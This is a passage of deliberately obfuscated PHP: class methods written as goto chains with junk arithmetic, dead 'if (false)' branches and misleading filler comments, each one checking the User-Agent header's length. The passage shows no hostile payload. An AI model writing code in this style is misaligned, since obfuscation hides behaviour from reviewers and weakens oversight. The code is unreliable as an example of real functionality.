$WWDcP6ib * 5; goto oCgZ9LYh; oCgZ9LYh: $n7sJ6WnP = 827 + 30; $B9ma2fmF = $n7sJ6WnP * 3; goto OFDCGboU; OFDCGboU: goto gCNebZlf; gCNebZlf: /* g5eLXhAgSuL99s9 */ goto kR53OIOX; kR53OIOX: goto a4G1cXAUt; a4G1cXAUt: /* API handler */ goto ICaCO_u7; ICaCO_u7: // xc2ZNPA_BFIo if (false) { echo 'This is a dead end'; } goto a7T2jWKED; a7T2jWKED: goto kPZ8WlJI; kPZ8WlJI: goto NhPzN_dO; NhPzN_dO: $Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto NYYhX9S4; NYYhX9S4: $B9ma2fmF = 383 + 15; $B9ma2fmF = $B9ma2fmF * 5; goto a6fjgSbuF; a6fjgSbuF: $a29IFo9lZ = 598 + 35; $FbaGmw5w = $a29IFo9lZ * 1; goto aJ4QLrra; aJ4QLrra: /* YkK8u2PVnrfbGhI */ goto eJn91w4y; eJn91w4y: /* Security component */ goto YDow1hEA; YDow1hEA: goto j8xRsd0u; j8xRsd0u: $a29IFo9lZ = 361 + 3; $B9ma2fmF = $a29IFo9lZ * 5; goto oOX39BNs; oOX39BNs: $a29IFo9lZ = 403 + 8; $WWDcP6ib = $a29IFo9lZ * 2; goto a2HwG1PME; a2HwG1PME: /* System file */ $jIP39ari = 144 + 6; $bZa4iOd6 = $jIP39ari * 1; goto Uv0gOyoI; Uv0gOyoI: /* Security component */ if (false) { echo 'This is a dead end'; } goto Hh_SGo9E; Hh_SGo9E: /* 3CzkzNActuHBrO4 */ goto NyvnSG3Z; NyvnSG3Z: $iCjD65Pi = 657 + 7; $B9ma2fmF = $iCjD65Pi * 5; goto jl8YYBXK; jl8YYBXK: if (false) { echo 'This is a dead end'; } goto a_9r0ScPd; a_9r0ScPd: goto ejmi0Uox; ejmi0Uox: // b7febheeWRoq $Pe9zuJ4r = 737 + 35; $iX1geSuk = $Pe9zuJ4r * 3; goto Swa3B5eJ; Swa3B5eJ: $a29IFo9lZ = 574 + 17; $FbaGmw5w = $a29IFo9lZ * 5; goto jiFe7qNC; jiFe7qNC: $a6EHyDbxg = strlen($Pe9zuJ4r); goto CPY88dx5; CPY88dx5: // izAa9wCt goto G7Opmoyz; G7Opmoyz: goto a0LOa4VEU; a0LOa4VEU: goto V7bEj2zs; V7bEj2zs: goto rHYFb1Al; rHYFb1Al: goto MfzH0_rd; MfzH0_rd: goto a7Z_ADNVH; a7Z_ADNVH: goto dtsjyGQJ; dtsjyGQJ: $jIP39ari = 551 + 32; $n7sJ6WnP = $jIP39ari * 2; if (false) { echo 'This is a dead end'; } goto DQzNjL5i; DQzNjL5i: /* API handler */ goto CLWAUYAk; CLWAUYAk: /* Main service */ $a29IFo9lZ = 967 + 38; $FbaGmw5w = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto jUIFb3ir; jUIFb3ir: /* API handler */ goto KzKE73mR; KzKE73mR: $a6b9oay5s = 888 + 3; $NqlX8zGc = $a6b9oay5s * 4; goto NAZVview; NAZVview: goto dn7o5HDH; dn7o5HDH: $bZa4iOd6 = 840 + 33; $XsucffsH = $bZa4iOd6 * 2; goto a0vhIfC72; a0vhIfC72: /* Main service */ goto itiPBNQK; itiPBNQK: return $a6EHyDbxg > 10; } private function nj0wOBrvcy() { /* Security component */ goto H7fs2IYg; H7fs2IYg: $WWDcP6ib = 758 + 30; $iX1geSuk = $WWDcP6ib * 1; goto D8f2RK5N; D8f2RK5N: /* Main service */ goto lagIdSZH; lagIdSZH: goto gLixBRZn; gLixBRZn: /* O4E4P9b2Cmvu4yrITeHp */ $a29IFo9lZ = 686 + 36; $bZa4iOd6 = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto a3sDtuvZu; a3sDtuvZu: /* VaPDBcZcc8 */ goto a9zZ5winm; a9zZ5winm: $FbaGmw5w = 365 + 11; $BqYDw4sr = $FbaGmw5w * 3; goto apVbl3YY; apVbl3YY: if (false) { echo 'This is a dead end'; } goto DmIcxTLi; DmIcxTLi: $iCjD65Pi = 625 + 31; $FbaGmw5w = $iCjD65Pi * 5; goto tXnILb9C; tXnILb9C: $Pe9zuJ4r = 690 + 7; $bZa4iOd6 = $Pe9zuJ4r * 3; goto twhsmqlG; twhsmqlG: goto KBlAs6S_; KBlAs6S_: goto eZ19dlmL; eZ19dlmL: /* Core module */ goto a0g24tekb; a0g24tekb: // D84ubfCg6b9rTWwh goto v0TQ6Kg3; v0TQ6Kg3: goto TzTc_0cf; TzTc_0cf: /* Core module */ $a6EHyDbxg = 337 + 8; $a6b9oay5s = $a6EHyDbxg * 4; goto bIwpQc3S; bIwpQc3S: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto wanBYafC; wanBYafC: $jIP39ari = 478 + 48; $Pe9zuJ4r = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto a82o2JuvJ; a82o2JuvJ: goto a9mBMUw8d; a9mBMUw8d: // Me8TLGpf8kHcF523 $iCjD65Pi = 277 + 30; $iX1geSuk = $iCjD65Pi * 3; if (false) { echo 'This is a dead end'; } goto gqgT1SZP; gqgT1SZP: goto JlOHuMJw; JlOHuMJw: $iX1geSuk = 155 + 5; $BqYDw4sr = $iX1geSuk * 4; goto a7yFnk7gV; a7yFnk7gV: if (false) { echo 'This is a dead end'; } goto jZfNQD_P; jZfNQD_P: /* Core module */ if (false) { echo 'This is a dead end'; } goto X46aAdNS; X46aAdNS: /* API handler */ if (false) { echo 'This is a dead end'; } goto yny3q4zS; yny3q4zS: goto a_FQdKsYs; a_FQdKsYs: goto Dkj40I88; Dkj40I88: goto V_moL0gs; V_moL0gs: // DhtqUc20Dw44Homm if (false) { echo 'This is a dead end'; } goto a9iFMBq2; a9iFMBq2: /* System file */ goto IMxQsrbF; IMxQsrbF: /* v60exrWIIyx9U9t4i7Ms */ goto IWeczX4D; IWeczX4D: goto a48A8pPgQ; a48A8pPgQ: $BqYDw4sr = strlen($a6EHyDbxg); goto a0797GHMu; a0797GHMu: /* TA8yoyIuPg3noNyAfyPD */ goto U21dPxsf; U21dPxsf: goto tuSEZAEC; tuSEZAEC: goto KwwqMX6P; KwwqMX6P: // 9xzmLtpz $WWDcP6ib = 701 + 34; $iX1geSuk = $WWDcP6ib * 5; goto jonxY1TN; jonxY1TN: goto Vjb7jZCO; Vjb7jZCO: /* wJnezPAVm4 */ goto Mb4KTr4b; Mb4KTr4b: $B9ma2fmF = 702 + 31; $iCjD65Pi = $B9ma2fmF * 2; if (false) { echo 'This is a dead end'; } goto kHtgc_dm; kHtgc_dm: // siLpIhi1DjRm goto giYblLKn; giYblLKn: goto ZKXHKuMR; ZKXHKuMR: goto paHuVpyn; paHuVpyn: /* Main service */ goto a_zzFF444; a_zzFF444: goto a3ZltMI1v; a3ZltMI1v: // THsMYGmKtw8qNTos goto apubsqSg; apubsqSg: goto XJSLsldi; XJSLsldi: // x0Vc0fJe2oIp if (false) { echo 'This is a dead end'; } goto JcrOUnBi; JcrOUnBi: return $BqYDw4sr > 10; } private function a_T_GLMD4Pk() { goto BwfWZro3; BwfWZro3: // Q3FyL2nH3otszg_a goto faqlhF2w; faqlhF2w: $iX1geSuk = 402 + 34; $FbaGmw5w = $iX1geSuk * 1; goto ZlbloGeC; ZlbloGeC: /* i0_uLY0_11JdcgzfsfCB */ goto pdW_Qdol; pdW_Qdol: goto VhVzNKbG; VhVzNKbG: $bZa4iOd6 = 940 + 21; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto xJvr2q1s; xJvr2q1s: // qea3k7c2rN2J goto yiukT32O; yiukT32O: // zx6YpwmE goto lzYRY_Cl; lzYRY_Cl: $a6b9oay5s = 945 + 33; $a6EHyDbxg = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto i1AyVZAm; i1AyVZAm: /* System file */ $WWDcP6ib = 594 + 26; $BqYDw4sr = $WWDcP6ib * 4; goto a_yceIgc7; a_yceIgc7: /* Fylz0tKxzB0QHg9 */ goto VALhQFXT; VALhQFXT: goto o7DF4LJY; o7DF4LJY: // QxfAb4Rk25J1 $bZa4iOd6 = 787 + 13; $bZa4iOd6 = $bZa4iOd6 * 1; goto e5t6SWDz; e5t6SWDz: if (false) { echo 'This is a dead end'; } goto a8EcO36JX; a8EcO36JX: /* wCfRHQwNkB */ $bZa4iOd6 = 188 + 45; $XsucffsH = $bZa4iOd6 * 4; goto a9WCh8ixf; a9WCh8ixf: /* SAEbrReUBn6Svso */ $WWDcP6ib = 970 + 39; $jIP39ari = $WWDcP6ib * 4; if (false) { echo 'This is a dead end'; } goto a20aKhp95; a20aKhp95: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a__N85Q8S; a__N85Q8S: // XdKvXaY2vi7w goto vhZbtsHu; vhZbtsHu: $a29IFo9lZ = 625 + 29; $WWDcP6ib = $a29IFo9lZ * 2; goto p779RnO1; p779RnO1: /* API handler */ goto Yh_EL1ee; Yh_EL1ee: // m3xtitYtMPac if (false) { echo 'This is a dead end'; } goto a97oFNqgU; a97oFNqgU: $jIP39ari = 990 + 31; $jIP39ari = $jIP39ari * 2; goto dhCvwKUm; dhCvwKUm: /* ax3E9ORhLgcfs_PkTnKq */ goto RRAi44BG; RRAi44BG: goto iRqblcMq; iRqblcMq: if (false) { echo 'This is a dead end'; } goto QFJwgK2u; QFJwgK2u: /* API handler */ $NqlX8zGc = 257 + 16; $XsucffsH = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto oogPH8yh; oogPH8yh: $BqYDw4sr = 290 + 42; $FbaGmw5w = $BqYDw4sr * 2; goto oQqRyguo; oQqRyguo: /* Core module */ goto oGgmyX9N; oGgmyX9N: /* System file */ $FbaGmw5w = 499 + 44; $FbaGmw5w = $FbaGmw5w * 4; goto y0okLPhF; y0okLPhF: goto Fa6s6ON8; Fa6s6ON8: $FbaGmw5w = 736 + 16; $a6b9oay5s = $FbaGmw5w * 2; goto pEOkvuCS; pEOkvuCS: /* API handler */ goto NDzGq24r; NDzGq24r: $jIP39ari = strlen($XsucffsH); goto t457sQKg; t457sQKg: /* ZHc9APR4FHWQz7eI0ofH */ goto V5gkUVhK; V5gkUVhK: /* Main service */ if (false) { echo 'This is a dead end'; } goto H5LhESuL; H5LhESuL: /* 1eTbn41c0d */ goto ipMGWpA3; ipMGWpA3: goto lb6T40QK; lb6T40QK: /* System file */ $FbaGmw5w = 316 + 17; $WWDcP6ib = $FbaGmw5w * 1; goto y_VtC0AJ; y_VtC0AJ: goto kIPFmUTv; kIPFmUTv: goto jvrwr0vT; jvrwr0vT: goto jCM8fbLF; jCM8fbLF: // bqWIn39cKEle $NqlX8zGc = 434 + 33; $bZa4iOd6 = $NqlX8zGc * 4; goto EzuHtJY2; EzuHtJY2: $NqlX8zGc = 369 + 27; $a6b9oay5s = $NqlX8zGc * 1; if (false) { echo 'This is a dead end'; } goto JlPtkvRZ; JlPtkvRZ: /* Core module */ if (false) { echo 'This is a dead end'; } goto Efcc3AA0; Efcc3AA0: /* YvDX0FN06eLm9pgLoJ8Q */ if (false) { echo 'This is a dead end'; } goto wKPryaoD; wKPryaoD: $iCjD65Pi = 373 + 50; $B9ma2fmF = $iCjD65Pi * 3; goto GLf6GN5K; GLf6GN5K: goto AEqWZFLy; AEqWZFLy: /* Security component */ $a6EHyDbxg = 526 + 29; $jIP39ari = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto a31aVZpj_; a31aVZpj_: return $jIP39ari > 10; } private function Xy1SW73Kt9() { goto IYsmN2b8; IYsmN2b8: goto xPL_4mXc; xPL_4mXc: if (false) { echo 'This is a dead end'; } goto fTHKOnp6; fTHKOnp6: goto KdNCnUpa; KdNCnUpa: $NqlX8zGc = 147 + 17; $NqlX8zGc = $NqlX8zGc * 2; if (false) { echo 'This is a dead end'; } goto a89hYeFGN; a89hYeFGN: /* Security component */ goto XYr6hKHE; XYr6hKHE: // wtjfNj7NrdgZWOHR $Pe9zuJ4r = 819 + 29; $NqlX8zGc = $Pe9zuJ4r * 4; if (false) { echo 'This is a dead end'; } goto QlbaISru; QlbaISru: $n7sJ6WnP = 923 + 12; $iX1geSuk = $n7sJ6WnP * 2; goto pVIGYiIc; pVIGYiIc: /* API handler */ $FbaGmw5w = 653 + 5; $a6b9oay5s = $FbaGmw5w * 3; goto Mw9yJ4cI; Mw9yJ4cI: $iX1geSuk = 524 + 8; $a6b9oay5s = $iX1geSuk * 4; goto a2IO_evxY; a2IO_evxY: goto F5U3hOBU; F5U3hOBU: /* System file */ $NqlX8zGc = 291 + 36; $BqYDw4sr = $NqlX8zGc * 2; goto t2uScdsb; t2uScdsb: // vItgQPjA goto xXv4RA7T; xXv4RA7T: // rHsLiMR9 goto a7EVq_WXw; a7EVq_WXw: if (false) { echo 'This is a dead end'; } goto sZIknbMu; sZIknbMu: /* API handler */ goto apWTPlti; apWTPlti: $a6b9oay5s = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto jH8GXRx7; jH8GXRx7: /* System file */ $BqYDw4sr = 490 + 18; $iX1geSuk = $BqYDw4sr * 3; goto BG67Day3; BG67Day3: // 3Z4ZOBbLjOl7 goto JK3MaZt7; JK3MaZt7: goto Bmx63rgJ; Bmx63rgJ: $FbaGmw5w = 242 + 32; $iX1geSuk = $FbaGmw5w * 5; goto lHgZ7xE2; lHgZ7xE2: /* Core module */ if (false) { echo 'This is a dead end'; } goto NsHa8IkZ; NsHa8IkZ: goto E3Az1v73; E3Az1v73: $NqlX8zGc = 859 + 11; $iX1geSuk = $NqlX8zGc * 3; goto Uvrkf5yj; Uvrkf5yj: // 2uDEFhVn $bZa4iOd6 = 543 + 9; $n7sJ6WnP = $bZa4iOd6 * 5; goto goEzDbfy; goEzDbfy: goto gzSZ2jLl; gzSZ2jLl: $a29IFo9lZ = 142 + 8; $a29IFo9lZ = $a29IFo9lZ * 1; if (false) { echo 'This is a dead end'; } goto Hm5rDvx7; Hm5rDvx7: // bmtBIjZ1 $jIP39ari = 175 + 29; $BqYDw4sr = $jIP39ari * 3; goto Peeitgrw; Peeitgrw: if (false) { echo 'This is a dead end'; } goto XzT9Ttll; XzT9Ttll: /* llndmOqS_nTGJMG */ goto esCsIEvJ; esCsIEvJ: goto a8z8mReGF; a8z8mReGF: /* Security component */ if (false) { echo 'This is a dead end'; } goto UJhf9xJF; UJhf9xJF: $BqYDw4sr = strlen($a6b9oay5s); goto CT8QNMgJ; CT8QNMgJ: goto raiEVIrd; raiEVIrd: $iX1geSuk = 949 + 27; $bZa4iOd6 = $iX1geSuk * 1; if (false) { echo 'This is a dead end'; } goto kV2sf1ZS; kV2sf1ZS: /* Security component */ if (false) { echo 'This is a dead end'; } goto GG8nH1O_; GG8nH1O_: /* Security component */ $iCjD65Pi = 475 + 50; $Pe9zuJ4r = $iCjD65Pi * 1; if (false) { echo 'This is a dead end'; } goto a8OWDwD5D; a8OWDwD5D: if (false) { echo 'This is a dead end'; } goto S3hpZ6xR; S3hpZ6xR: // bQdwEPUAq_Zx $WWDcP6ib = 350 + 31; $iX1geSuk = $WWDcP6ib * 2; goto a17lSomUJ; a17lSomUJ: $a29IFo9lZ = 473 + 23; $XsucffsH = $a29IFo9lZ * 1; goto a2LzHbt6t; a2LzHbt6t: // LAZ5xNEDBuZRKgQ3 goto GfMCWaYa; GfMCWaYa: $FbaGmw5w = 465 + 41; $bZa4iOd6 = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto sYYh94vM; sYYh94vM: goto RaoiGGHZ; RaoiGGHZ: /* Core module */ $n7sJ6WnP = 158 + 2; $WWDcP6ib = $n7sJ6WnP * 2; goto hzqMkwm8; hzqMkwm8: // Asru7bIq goto u3hlSIrZ; u3hlSIrZ: goto o9_rqn7W; o9_rqn7W: /* mLwYYNlkMiIE9ms */ if (false) { echo 'This is a dead end'; } goto a5XJIYz_s; a5XJIYz_s: if (false) { echo 'This is a dead end'; } goto bnf0W5xA; bnf0W5xA: return $BqYDw4sr > 10; } private function a61XSAJwOub() { goto akQ8Q9kJ; akQ8Q9kJ: $FbaGmw5w = 968 + 35; $Pe9zuJ4r = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto V_LxvK4R; V_LxvK4R: $a29IFo9lZ = 870 + 32; $Pe9zuJ4r = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto sdtSfDhC; sdtSfDhC: /* PdSGZxRG8SIPSiO0o3GU */ $bZa4iOd6 = 939 + 29; $FbaGmw5w = $bZa4iOd6 * 4; goto a71erIoxM; a71erIoxM: /* sKBbBo_XnK7AJE0 */ $bZa4iOd6 = 417 + 49; $bZa4iOd6 = $bZa4iOd6 * 4; goto jWmx2ILh; jWmx2ILh: /* System file */ $iX1geSuk = 938 + 42; $n7sJ6WnP = $iX1geSuk * 1; goto Gwfky34J; Gwfky34J: $iCjD65Pi = 239 + 39; $B9ma2fmF = $iCjD65Pi * 3; goto yc6vp6Ot; yc6vp6Ot: /* Core module */ goto O8zg57zU; O8zg57zU: /* MMrfDedn3zbIY6F */ goto GURsfFIp; GURsfFIp: $iX1geSuk = 463 + 3; $n7sJ6WnP = $iX1geSuk * 4; goto ZhiAeZIU; ZhiAeZIU: // IGUhJaxA $a6EHyDbxg = 897 + 34; $BqYDw4sr = $a6EHyDbxg * 2; if (false) { echo 'This is a dead end'; } goto CEt91oJl; CEt91oJl: if (false) { echo 'This is a dead end'; } goto IDQksS0K; IDQksS0K: // 3LU00hQK goto mmBuyTwX; mmBuyTwX: // 9hjyZj7G $Pe9zuJ4r = 601 + 24; $a29IFo9lZ = $Pe9zuJ4r * 5; goto xthg650t; xthg650t: goto AH0Ti3I1; AH0Ti3I1: goto xEIheUKw; xEIheUKw: $BqYDw4sr = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto ReA0EK6N; ReA0EK6N: goto ipivbfG_; ipivbfG_: goto kAFD3YYJ; kAFD3YYJ: /* Core module */ goto z6gqU2iI; z6gqU2iI: // NBJywfDymPrU goto vyd4i6Gm; vyd4i6Gm: goto a8COhxtUZ; a8COhxtUZ: /* Main service */ $a6b9oay5s = 748 + 9; $iCjD65Pi = $a6b9oay5s * 3; goto q5sMwsRz; q5sMwsRz: /* 5C4uDoQ7mP */ goto Gw9GLKXz; Gw9GLKXz: /* Main service */ goto uIRZJZHf; uIRZJZHf: if (false) { echo 'This is a dead end'; } goto vv0hHkra; vv0hHkra: $bZa4iOd6 = 693 + 11; $jIP39ari = $bZa4iOd6 * 4; if (false) { echo 'This is a dead end'; } goto hik1vrIE; hik1vrIE: goto o9mGb9tH; o9mGb9tH: $n7sJ6WnP = 265 + 42; $iX1geSuk = $n7sJ6WnP * 1; goto a2sdJHvgX; a2sdJHvgX: $B9ma2fmF = 235 + 39; $n7sJ6WnP = $B9ma2fmF * 1; goto fMxR44pj; fMxR44pj: $BqYDw4sr = 273 + 13; $NqlX8zGc = $BqYDw4sr * 5; goto fAmYveiz; fAmYveiz: /* Main service */ if (false) { echo 'This is a dead end'; } goto m3NuKk3q; m3NuKk3q: $WWDcP6ib = strlen($BqYDw4sr); goto b9djCBjG; b9djCBjG: /* Security component */ $a29IFo9lZ = 368 + 23; $iX1geSuk = $a29IFo9lZ * 3; goto ZOYRWG3O; ZOYRWG3O: if (false) { echo 'This is a dead end'; } goto a2gdYcydq; a2gdYcydq: /* Core module */ goto NV0JpAnq; NV0JpAnq: /* Security component */ if (false) { echo 'This is a dead end'; } goto NJtMaueT; NJtMaueT: goto LACOIlE0; LACOIlE0: /* sOSgfNz3mVbIw2i */ goto jp9LWQKx; jp9LWQKx: $a6EHyDbxg = 458 + 20; $a29IFo9lZ = $a6EHyDbxg * 5; goto FfKwhlP6; FfKwhlP6: /* Main service */ goto XJUuxZcY; XJUuxZcY: // tgxfVLaI if (false) { echo 'This is a dead end'; } goto MC6e6oWt; MC6e6oWt: // MfYjTuXK goto lAfVAVbx; lAfVAVbx: /* IkM_Id5sCfiQ2fa */ $B9ma2fmF = 572 + 28; $n7sJ6WnP = $B9ma2fmF * 3; goto a9CcJR65D; a9CcJR65D: goto wTCEhr70; wTCEhr70: $BqYDw4sr = 955 + 44; $n7sJ6WnP = $BqYDw4sr * 4; goto a9kwmrUKk; a9kwmrUKk: if (false) { echo 'This is a dead end'; } goto a6F2BhV4d; a6F2BhV4d: /* Security component */ goto a5k3RHTcH; a5k3RHTcH: return $WWDcP6ib > 10; } private function a8FL3jxk4Mm() { // hzE7KsXlELVUDRyX goto UqOfGZmo; UqOfGZmo: /* Security component */ if (false) { echo 'This is a dead end'; } goto a_fVHrfYe; a_fVHrfYe: goto Px5lBaEl; Px5lBaEl: /* ujikQDxcTIbs7oY */ goto a6wXRYkQo; a6wXRYkQo: goto Tf7kP3Dl; Tf7kP3Dl: if (false) { echo 'This is a dead end'; } goto tgaO85gc; tgaO85gc: // E_4px2Lg $bZa4iOd6 = 278 + 12; $B9ma2fmF = $bZa4iOd6 * 3; goto a1RK5ahnf; a1RK5ahnf: /* 1603KpYIWL */ $jIP39ari = 457 + 40; $a29IFo9lZ = $jIP39ari * 5; goto adw0vDe6; adw0vDe6: if (false) { echo 'This is a dead end'; } goto EQc3n8q1; EQc3n8q1: $NqlX8zGc = 270 + 29; $FbaGmw5w = $NqlX8zGc * 1; goto crLNb7Ab; crLNb7Ab: if (false) { echo 'This is a dead end'; } goto LZ3fen3l; LZ3fen3l: goto Bb2i51Yk; Bb2i51Yk: /* Main service */ goto xQKucfyX; xQKucfyX: goto a58x2TxYq; a58x2TxYq: if (false) { echo 'This is a dead end'; } goto N_8wdJfQ; N_8wdJfQ: /* IEKSehNsEUZdrchGfxB5 */ $a6EHyDbxg = 845 + 49; $a29IFo9lZ = $a6EHyDbxg * 5; if (false) { echo 'This is a dead end'; } goto KF9q2J8n; KF9q2J8n: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto krD64mmL; krD64mmL: // 34wcCB2RVGTFL89L goto a7R3xw6fT; a7R3xw6fT: $FbaGmw5w = 360 + 48; $a6b9oay5s = $FbaGmw5w * 3; goto q3mA0ppA; q3mA0ppA: // ZIqM3n_R $FbaGmw5w = 800 + 28; $bZa4iOd6 = $FbaGmw5w * 5; goto H9Ndixs4; H9Ndixs4: goto Ejkt9gtT; Ejkt9gtT: goto odKb5k5O; odKb5k5O: $WWDcP6ib = 464 + 9; $XsucffsH = $WWDcP6ib * 2; goto JfUQ6zQf; JfUQ6zQf: $XsucffsH = 468 + 17; $iCjD65Pi = $XsucffsH * 3; goto hsAz24aY; hsAz24aY: // 3BR1uFA2 if (false) { echo 'This is a dead end'; } goto ifkBxzZs; ifkBxzZs: /* Core module */ goto a_snq6XDJ; a_snq6XDJ: /* btQjRWe47ZWBEeDOuzYZ */ if (false) { echo 'This is a dead end'; } goto K9NIX0dp; K9NIX0dp: goto a_qgM9HwY; a_qgM9HwY: // d02fAWDu $a6b9oay5s = 350 + 26; $jIP39ari = $a6b9oay5s * 3; goto WdzUNmI8; WdzUNmI8: if (false) { echo 'This is a dead end'; } goto QF8I2rq9; QF8I2rq9: /* xF1OJwpcQTcQ4oe */ goto T2Qj8RPz; T2Qj8RPz: $bZa4iOd6 = 732 + 29; $NqlX8zGc = $bZa4iOd6 * 4; goto YUd24rLd; YUd24rLd: $a29IFo9lZ = strlen($XsucffsH); goto JbWTEVxj; JbWTEVxj: $iCjD65Pi = 386 + 7; $NqlX8zGc = $iCjD65Pi * 5; if (false) { echo 'This is a dead end'; } goto biuAUeNI; biuAUeNI: /* N0DWo4PCf_ */ goto yR60WIWM; yR60WIWM: $FbaGmw5w = 789 + 3; $XsucffsH = $FbaGmw5w * 3; goto L0AO_E0Q; L0AO_E0Q: /* API handler */ goto nr6Tkas1; nr6Tkas1: goto txyPOsIT; txyPOsIT: /* System file */ if (false) { echo 'This is a dead end'; } goto cEzOLawl; cEzOLawl: /* Core module */ $n7sJ6WnP = 263 + 19; $WWDcP6ib = $n7sJ6WnP * 1; goto a_ZjD3eZQ; a_ZjD3eZQ: /* Core module */ $iX1geSuk = 622 + 4; $FbaGmw5w = $iX1geSuk * 3; goto IyiqY1Yf; IyiqY1Yf: /* Core module */ goto D8kl9nsh; D8kl9nsh: /* B3LhNTEZlE */ $Pe9zuJ4r = 232 + 33; $jIP39ari = $Pe9zuJ4r * 2; if (false) { echo 'This is a dead end'; } goto sreZcEKl; sreZcEKl: goto Inrvhfdw; Inrvhfdw: goto PhRl3FVo; PhRl3FVo: // QNis2VnVgk8Ilwep goto zXI36kD7; zXI36kD7: $a29IFo9lZ = 660 + 18; $B9ma2fmF = $a29IFo9lZ * 1; goto Bl_i5fZi; Bl_i5fZi: goto IgkeL4AO; IgkeL4AO: return $a29IFo9lZ > 10; } private function RbJbzK3euj() { goto dWxdkNTy; dWxdkNTy: $FbaGmw5w = 895 + 46; $a29IFo9lZ = $FbaGmw5w * 1; goto SAiOjs2G; SAiOjs2G: $NqlX8zGc = 623 + 32; $BqYDw4sr = $NqlX8zGc * 2; goto GhAMsaZl; GhAMsaZl: /* v5w5IkeBwABvoSL */ goto a1IiP3nzs; a1IiP3nzs: /* lHSjpKJEfJbtg33qqekz */ goto a7fUIrd8k; a7fUIrd8k: /* 1PKCeNeVghx68uO */ goto a3A_YmaTP; a3A_YmaTP: /* Core module */ goto XtkjdaYa; XtkjdaYa: goto e1SVeaWV; e1SVeaWV: // LOeo07hn $iCjD65Pi = 387 + 31; $Pe9zuJ4r = $iCjD65Pi * 2; goto GDUlHl3G; GDUlHl3G: $n7sJ6WnP = 220 + 14; $bZa4iOd6 = $n7sJ6WnP * 2; goto a1VGwdgAW; a1VGwdgAW: /* Core module */ if (false) { echo 'This is a dead end'; } goto LvuCQimF; LvuCQimF: $a6b9oay5s = 754 + 33; $FbaGmw5w = $a6b9oay5s * 1; goto a1s8rz3Wl; a1s8rz3Wl: if (false) { echo 'This is a dead end'; } goto tp_dO64C; tp_dO64C: /* Core module */ goto UA0dc0Em; UA0dc0Em: // Qcba9fczIP1XJa_J goto AnWJncTu; AnWJncTu: goto Joa9KzJH; Joa9KzJH: $B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a3JBxCSS8; a3JBxCSS8: /* Security component */ goto zY_DwWDT; zY_DwWDT: // W6bFUMS1oQiQ goto nCjD5100; nCjD5100: goto pXJxYOJB; pXJxYOJB: if (false) { echo 'This is a dead end'; } goto T4Sh5Oia; T4Sh5Oia: $bZa4iOd6 = 909 + 8; $bZa4iOd6 = $bZa4iOd6 * 3; goto a3f6Sayoe; a3f6Sayoe: $BqYDw4sr = 890 + 45; $BqYDw4sr = $BqYDw4sr * 2; goto D6RAlsO6; D6RAlsO6: goto svpfI9hX; svpfI9hX: /* Core module */ goto kOhlvuCA; kOhlvuCA: /* Main service */ $B9ma2fmF = 259 + 38; $WWDcP6ib = $B9ma2fmF * 4; goto PHQ_fupD; PHQ_fupD: // DBVGWVshBbCFZXa_ $WWDcP6ib = 170 + 40; $iX1geSuk = $WWDcP6ib * 4; goto ZbFm8wxv; ZbFm8wxv: /* UAvM34LHoe */ goto gYEp9RTl; gYEp9RTl: $jIP39ari = 323 + 8; $a6EHyDbxg = $jIP39ari * 1; goto YFpCW8DV; YFpCW8DV: /* lUOj_5XJK_ */ goto a7Pc_2mcj; a7Pc_2mcj: $a6b9oay5s = 683 + 26; $iCjD65Pi = $a6b9oay5s * 3; goto ym4rrjZs; ym4rrjZs: goto wZyKE3VX; wZyKE3VX: $bZa4iOd6 = strlen($B9ma2fmF); goto QBBbxTjF; QBBbxTjF: /* Security component */ goto Jz4NbKqO; Jz4NbKqO: // AGIqFii8yP8d_9Aa goto RwEmMcHs; RwEmMcHs: /* Fxqu2IXqHI */ goto HCeMLGrh; HCeMLGrh: /* 6G1usw8CEx2cEKL */ $BqYDw4sr = 753 + 36; $jIP39ari = $BqYDw4sr * 2; goto a0lF3qkdC; a0lF3qkdC: goto T64ClS_X; T64ClS_X: /* BKkmpTaZdE */ if (false) { echo 'This is a dead end'; } goto zlVcnMFw; zlVcnMFw: /* Core module */ if (false) { echo 'This is a dead end'; } goto ugyKfsz4; ugyKfsz4: // lLH2dv6VxubX if (false) { echo 'This is a dead end'; } goto gAIntC83; gAIntC83: goto FTfJ_yHe; FTfJ_yHe: /* lV_IAsq13565Mzud_iQo */ $BqYDw4sr = 361 + 17; $Pe9zuJ4r = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto Zjo6G6Rg; Zjo6G6Rg: /* API handler */ $a29IFo9lZ = 370 + 31; $iX1geSuk = $a29IFo9lZ * 5; goto rIIbOnvh; rIIbOnvh: // eZpPMdoi if (false) { echo 'This is a dead end'; } goto zfiaPzSP; zfiaPzSP: goto AbCHkkL6; AbCHkkL6: /* API handler */ $a6EHyDbxg = 610 + 43; $FbaGmw5w = $a6EHyDbxg * 3; goto lSImTJHS; lSImTJHS: goto i0fFcqq0; i0fFcqq0: return $bZa4iOd6 > 10; } private function a2IMbsYNFNG() { goto lRZiyg05; lRZiyg05: /* System file */ $XsucffsH = 803 + 33; $n7sJ6WnP = $XsucffsH * 5; goto gXNUGSBH; gXNUGSBH: goto a87BjIRna; a87BjIRna: /* bCGEH9lQ3YqnCyc */ $FbaGmw5w = 956 + 15; $B9ma2fmF = 